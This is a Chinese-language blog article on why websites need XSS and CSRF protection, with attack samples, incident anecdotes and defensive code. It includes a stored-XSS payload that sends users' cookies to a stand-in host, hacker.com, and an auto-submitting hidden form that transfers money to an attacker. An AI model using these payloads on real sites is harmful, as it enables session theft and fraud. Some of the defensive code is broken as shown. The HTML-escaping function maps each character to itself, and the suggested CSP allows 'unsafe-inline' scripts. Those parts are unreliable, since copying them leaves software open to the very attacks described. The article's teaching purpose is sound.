您现在的位置是:网站首页 > 不防 XSS/CSRF(“我们网站没人攻击”)文章详情
不防 XSS/CSRF(“我们网站没人攻击”)
陈川
【
前端综合
】
54084人已围观
3042字
忽视XSS/CSRF防护的典型言论
"我们网站没人攻击"是开发中最危险的自欺欺人。某电商平台曾因未过滤评论区的<script>
标签,导致攻击者注入恶意脚本盗取用户cookie;某内部管理系统因缺少CSRF防护,被钓鱼邮件诱导触发资金转账操作。安全防护不是为已知的威胁存在,而是为未知的攻击准备。
XSS漏洞的灾难现场
存储型XSS实例
// 用户提交的评论内容
const userComment = `<img src="x" onerror="fetch('https://hacker.com/steal?cookie='+document.cookie)">`;
// 后端直接存储并返回给其他用户
document.getElementById('comments').innerHTML = userComment;
当其他用户浏览页面时,攻击脚本自动执行并窃取登录凭证。某论坛曾因此漏洞导致50万用户数据泄露。
DOM型XSS的隐蔽性
// 从URL参数中获取内容直接渲染
const search = new URLSearchParams(location.search);
document.write(`搜索结果: ${search.get('keyword')}`);
// 攻击者构造恶意链接
// example.com/search?keyword=<script>alert(1)</script>
这种漏洞甚至不需要后端配合,纯前端代码就能造成安全事件。某天气网站曾因此被篡改降水概率数据。
CSRF攻击的自动化危害
表单提交漏洞
<!-- 假设银行转账接口仅验证登录态 -->
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="amount" value="10000">
<input type="hidden" name="to" value="hacker">
</form>
<script>document.forms[0].submit()</script>
攻击者诱导用户访问含此代码的页面即可完成非自愿转账。2018年某P2P平台因此漏洞损失230万元。
JSON API的CSRF
fetch('https://api.social.com/follow', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({userId: 'attacker'})
});
即使使用现代API设计,缺少防护依然危险。某社交平台发生过大规模自动关注僵尸账号事件。
真实世界的事故案例
-
政府网站篡改事件:某省级政务平台因未过滤富文本编辑器内容,首页被植入赌博广告长达6小时,事后调查发现攻击者仅用了最简单的
<iframe>
注入 -
数据泄露事件:医疗系统使用
eval()
解析JSONP响应,导致攻击者可执行任意代码,泄露50万份体检报告 -
用户资金损失:加密货币交易所的提现接口缺少CSRF Token,用户点击恶意广告后自动发起BTC转账
最低成本的防护方案
XSS基础防御
// 使用textContent代替innerHTML
element.textContent = untrustedData;
// 必须使用HTML时进行转义
function escapeHtml(unsafe) {
return unsafe.replace(/[&<"'>]/g, m => ({
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
}[m]));
}
CSRF必做措施
<!-- 服务端渲染CSRF Token -->
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="随机令牌">
</form>
<!-- 现代框架的防护示例 -->
axios.defaults.headers.common['X-CSRF-TOKEN'] = getCookie('csrfToken');
安全防护的进阶实践
- 内容安全策略(CSP):
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'
- 敏感操作二次验证:
// 转账前要求输入短信验证码
async function transferFunds(amount) {
const verified = await verifySmsCode();
if (!verified) return;
// 执行转账逻辑
}
- 自动化漏洞扫描:
# 使用OWASP ZAP进行基础扫描
docker run -v $(pwd):/zap/wrk -t owasp/zap2docker zap-baseline.py \
-t https://your-site.com
开发者常见的错误认知
-
"我们用了React/Vue就免疫XSS":框架只能预防部分场景,
dangerouslySetInnerHTML
或v-html
仍可能引发问题 -
"HTTPS等于安全":加密传输不能防止恶意请求伪造
-
"内部系统不需要防护":统计显示43%的内部系统攻击来自员工误操作
-
"WAF能解决所有问题":Web应用防火墙往往只能识别已知攻击模式
安全防护的持续演进
- Trusted Types提案:Chrome已实现的新型防护机制
// 启用后禁止危险的DOM API
Content-Security-Policy: require-trusted-types-for 'script'
- SameSite Cookie属性:
Set-Cookie: sessionId=abc123; SameSite=Strict; Secure
- 浏览器安全特性:
<!-- 禁止iframe嵌套 -->
X-Frame-Options: DENY
<!-- 禁用MIME类型嗅探 -->
X-Content-Type-Options: nosniff